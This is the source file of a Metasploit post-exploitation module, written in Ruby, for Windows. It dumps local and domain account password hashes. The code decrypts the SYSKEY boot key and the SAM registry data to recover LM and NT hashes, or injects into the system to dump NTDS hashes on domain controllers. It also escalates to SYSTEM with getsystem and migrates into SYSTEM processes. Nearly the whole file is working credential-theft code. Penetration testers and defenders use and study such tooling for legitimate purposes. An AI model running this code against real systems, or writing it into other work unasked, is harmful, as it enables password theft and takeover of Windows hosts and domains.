metasploit-framework/modules/post/windows/gather/smart_hashdump.rb

##
# $Id$
##

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/accounts'
require 'msf/core/post/file'

class Metasploit3 < Msf::Post

	include Msf::Post::Common
	include Msf::Post::Windows::Priv
	include Msf::Post::Windows::Registry
	include Msf::Post::Windows::Accounts
	include Msf::Auxiliary::Report
	include Msf::Post::File

	def initialize(info={})
		super( update_info( info,
				'Name'          => 'Windows Gather Local and Domain Controller Account Password Hashes',
				'Description'   => %q{
						This will dump local accounts from the SAM Database. If the target
					host is a Domain Controller, it will dump the Domain Account Database using the proper
					technique depending on privilege level, OS and role of the host.
				},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
				'Version'       => '$Revision$',
				'Platform'      => [ 'windows' ],
				'SessionTypes'  => [ 'meterpreter' ]
			))
		register_options(
			[
				OptBool.new('GETSYSTEM', [ false, 'Attempt to get SYSTEM privilege on the target host.', false])

			], self.class)
		@smb_port = 445
		# Constants for SAM decryption
		@sam_lmpass   = "LMPASSWORD\x00"
		@sam_ntpass   = "NTPASSWORD\x00"
		@sam_qwerty   = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
		@sam_numeric  = "0123456789012345678901234567890123456789\x00"
		@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
		@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")

		@des_odd_parity = [
			1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
			16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
			32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
			49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
			64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
			81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
			97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
			112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
			128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
			145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
			161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
			176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
			193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
			208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
			224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
			241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
		]
	end

	# Run Method for when run command is issued
	def run
		print_status("Running module against #{sysinfo['Computer']}")
		host = Rex::FileUtils.clean_path(sysinfo["Computer"])
		hash_file = store_loot("windows.hashes", "text/plain", session, "", "#{host}_hashes.txt", "Windows Hashes")
		print_status("Hashes will be saved to the database if one is connected.")
		print_status("Hashes will be saved in loot in JtR password file format to:")
		print_status(hash_file)
		smart_hash_dump(datastore['GETSYSTEM'], hash_file)
	end


	def capture_boot_key
		bootkey = ""
		basekey = "System\\CurrentControlSet\\Control\\Lsa"
		%W{JD Skew1 GBG Data}.each do |k|
			ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
			return nil if not ok
			bootkey << [ok.query_class.to_i(16)].pack("V")
			ok.close
		end

		keybytes    = bootkey.unpack("C*")
		descrambled = ""
		#	descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
		descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]

		0.upto(keybytes.length-1) do |x|
			descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
		end


		descrambled
	end
	#-------------------------------------------------------------------------------

	def capture_hboot_key(bootkey)
		ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
		return if not ok
		vf = ok.query_value("F")
		return if not vf
		vf = vf.data
		ok.close

		hash = Digest::MD5.new
		hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)

		rc4 = OpenSSL::Cipher::Cipher.new("rc4")
		rc4.key = hash.digest
		hbootkey  = rc4.update(vf[0x80, 32])
		hbootkey << rc4.final
		return hbootkey
	end
	#-------------------------------------------------------------------------------

	def capture_user_keys
		users = {}
		ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
		return if not ok

		ok.enum_key.each do |usr|
			uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
			next if usr == 'Names'
			users[usr.to_i(16)] ||={}
			users[usr.to_i(16)][:F] = uk.query_value("F").data
			users[usr.to_i(16)][:V] = uk.query_value("V").data
			uk.close
		end
		ok.close

		ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
		ok.enum_key.each do |usr|
			uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
			r = uk.query_value("")
			rid = r.type
			users[rid] ||= {}
			users[rid][:Name] = usr
			uk.close
		end
		ok.close
		users
	end
	#-------------------------------------------------------------------------------

	def decrypt_user_keys(hbootkey, users)
		users.each_key do |rid|
			user = users[rid]

			hashlm_off = nil
			hashnt_off = nil
			hashlm_enc = nil
			hashnt_enc = nil

			hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc

			# Lanman and NTLM hash available
			if(hoff + 0x28 < user[:V].length)
				hashlm_off = hoff +  4
				hashnt_off = hoff + 24
				hashlm_enc = user[:V][hashlm_off, 16]
				hashnt_enc = user[:V][hashnt_off, 16]
				# No stored lanman hash
			elsif (hoff + 0x14 < user[:V].length)
				hashnt_off = hoff + 8
				hashnt_enc = user[:V][hashnt_off, 16]
				hashlm_enc = ""
				# No stored hashes at all
			else
				hashnt_enc = hashlm_enc = ""
			end
			user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
			user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
		end

		users
	end
	#-------------------------------------------------------------------------------

	def convert_des_56_to_64(kstr)
		key = []
		str = kstr.unpack("C*")

		key[0] = str[0] >> 1
		key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
		key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
		key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
		key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
		key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
		key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
		key[7] = str[6] & 0x7F

		0.upto(7) do |i|
			key[i] = ( key[i] << 1)
			key[i] = @des_odd_parity[key[i]]
		end

		key.pack("C*")
	end
	#-------------------------------------------------------------------------------

	def rid_to_key(rid)

		s1 = [rid].pack("V")
		s1 << s1[0,3]

		s2b = [rid].pack("V").unpack("C4")
		s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
		s2 << s2[0,3]

		[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
	end
	#-------------------------------------------------------------------------------

	def decrypt_user_hash(rid, hbootkey, enchash, pass)

		if(enchash.empty?)
			case pass
			when @sam_lmpass
				return @sam_empty_lm
			when @sam_ntpass
				return @sam_empty_nt
			end
			return ""
		end

		des_k1, des_k2 = rid_to_key(rid)

		d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
		d1.padding = 0
		d1.key = des_k1

		d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
		d2.padding = 0
		d2.key = des_k2

		md5 = Digest::MD5.new
		md5.update(hbootkey[0,16] + [rid].pack("V") + pass)

		rc4 = OpenSSL::Cipher::Cipher.new('rc4')
		rc4.key = md5.digest
		okey = rc4.update(enchash)

		d1o  = d1.decrypt.update(okey[0,8])
		d1o << d1.final

		d2o  = d2.decrypt.update(okey[8,8])
		d1o << d2.final
		d1o + d2o
	end
	#-------------------------------------------------------------------------------

	def read_hashdump
		host,port = session.tunnel_peer.split(":")
		collected_hashes = ""
		begin

			print_status("\tObtaining the boot key...")
			bootkey  = capture_boot_key

			print_status("\tCalculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
			hbootkey = capture_hboot_key(bootkey)

			print_status("\tObtaining the user list and keys...")
			users    = capture_user_keys

			print_status("\tDecrypting user keys...")
			users    = decrypt_user_keys(hbootkey, users)

			print_status("\tDumping password hashes...")

			users.keys.sort{|a,b| a<=>b}.each do |rid|
				# next if guest account or support account
				next if rid == 501 or rid == 1001
				collected_hashes << "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::\n"
				print_good("\t#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::")
				session.framework.db.report_auth_info(
					:host  => host,
					:port  => @smb_port,
					:sname => 'smb',
					:user  => users[rid][:Name],
					:pass  => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],
					:type  => "smb_hash"
				)
			end


		rescue ::Interrupt
			raise $!
		rescue ::Rex::Post::Meterpreter::RequestError => e
			print_error("Meterpreter Exception: #{e.class} #{e}")
			print_error("This module requires the use of a SYSTEM user context (hint: migrate into service process)")
		rescue ::Exception => e
			print_error("Error: #{e.class} #{e} #{e.backtrace}")
		end
		return collected_hashes
	end
	#-------------------------------------------------------------------------------

	def inject_hashdump
		collected_hashes = ""
		host,port = session.tunnel_peer.split(":")
		# Load priv extension
		session.core.use("priv")
		# dump hashes
		session.priv.sam_hashes.each do |h|
			returned_hash = h.to_s.split(":")
			if returned_hash[1] == "j"
				returned_hash.delete_at(1)
			end
			rid =  returned_hash[1].to_i

			# Skip the Guest Account
			next if rid == 501 or rid == 1001

			# skip if it returns nil for an entry
			next if h == nil
			begin
				user = returned_hash[0].scan(/^[a-zA-Z0-9\-$.]*/).join.gsub(/\.$/,"")
				lmhash = returned_hash[2].scan(/[a-f0-9]*/).join
				next if lmhash == nil
				hash_entry = "#{user}:#{rid}:#{lmhash}:#{returned_hash[3]}"
				collected_hashes << "#{hash_entry}\n"
				print_good("\t#{hash_entry}")
				session.framework.db.report_auth_info(
					:host  => host,
					:port  => @smb_port,
					:sname => 'smb',
					:user  => user,
					:pass  => "#{lmhash}:#{returned_hash[3]}",
					:type  => "smb_hash"
				)
			rescue
				next
			end
		end
		return collected_hashes
	end
	#-------------------------------------------------------------------------------

	# Function for checking if target is a DC
	def is_dc?
		is_dc_srv = false
		serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
		if registry_enumkeys(serviceskey).include?("NTDS")
			if registry_enumkeys(serviceskey + "\\NTDS").include?("Parameters")
				print_good("\tThis host is a Domain Controller!")
				is_dc_srv = true
			end
		end
		return is_dc_srv
	end
	#-------------------------------------------------------------------------------

	# Function to migrate to a process running as SYSTEM
	def move_to_sys
		# Make sure you got the correct SYSTEM Account Name no matter the OS Language
		local_sys = resolve_sid("S-1-5-18")
		system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"

		# Processes that can Blue Screen a host if migrated in to
		dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]

		print_status("Migrating to process owned by SYSTEM")
		session.sys.process.processes.each do |p|

			# Check we are not migrating to a process that can BSOD the host
			next if dangerous_processes.include?(p["name"])

			next if p["pid"] == session.sys.process.getpid

			if p["user"] == system_account_name
				print_status("Migrating to #{p["name"]}")
				session.core.migrate(p["pid"])
				print_good("Successfully migrated to #{p["name"]}")
				return
			end
		end
	end

	#-------------------------------------------------------------------------------

	def smart_hash_dump(migrate_system, pwdfile)
		domain_controler = is_dc?
		if not is_uac_enabled? or is_admin?
			print_status("Dumping password hashes...")
			# Check if Running as SYSTEM
			if is_system?
				# For DC's the registry read method does not work.
				if domain_controler
					begin
						file_local_write(pwdfile,inject_hashdump)
					rescue::Exception => e
						print_error("Failed to dump hashes as SYSTEM, trying to migrate to another process")

						if sysinfo['OS'] =~ /(Windows 2008)/i
							move_to_sys
							file_local_write(pwdfile,inject_hashdump)
						else
							print_error("Could not get NTDS hashes!")
						end
					end

					# Check if not DC
				else
					print_status "Running as SYSTEM extracting hashes from registry"
					file_local_write(pwdfile,read_hashdump)
				end

				# Check if not running as SYSTEM
			else

				# Check if Domain Controller
				if domain_controler
					begin
						file_local_write(pwdfile,inject_hashdump)
					rescue
						if migrate_system
							print_status("Trying to get SYSTEM privilege")
							results = session.priv.getsystem
							if results[0]
								print_good("Got SYSTEM privilege")
								if session.sys.config.sysinfo['OS'] =~ /(Windows 2008)/i
									# Migrate process since on Windows 2008 R2 getsystem
									# does not set certain privilege tokens required to
									# inject and dump the hashes.
									move_to_sys
								end
								file_local_write(pwdfile,inject_hashdump)
							else
								print_error("Could not obtain SYSTEM privileges")
							end
						else
							print_error("Could not get NTDS hashes!")
						end

					end
				elsif sysinfo['OS'] =~ /(Windows 7|2008|Vista)/i
					if migrate_system
						print_status("Trying to get SYSTEM privilege")
						results = session.priv.getsystem
						if results[0]
							print_good("Got SYSTEM privilege")
							file_local_write(pwdfile,read_hashdump)
						else
							print_error("Could not obtain SYSTEM privilege")
						end
					else
						print_error("On this version of Windows you need to be NT AUTHORITY\\SYSTEM to dump the hashes")
						print_error("Try setting GETSYSTEM to true.")
					end

				else
					if migrate_system
						print_status("Trying to get SYSTEM privilege")
						results = session.priv.getsystem
						if results[0]
							print_good("Got SYSTEM privilege")
							file_local_write(pwdfile,read_hashdump)
						else
							print_error("Could not obtain SYSTEM privileges")
						end
					else
						file_local_write(pwdfile,inject_hashdump)
					end

				end

			end
		else
			print_error("Insufficient privileges to dump hashes!")
		end
	end
end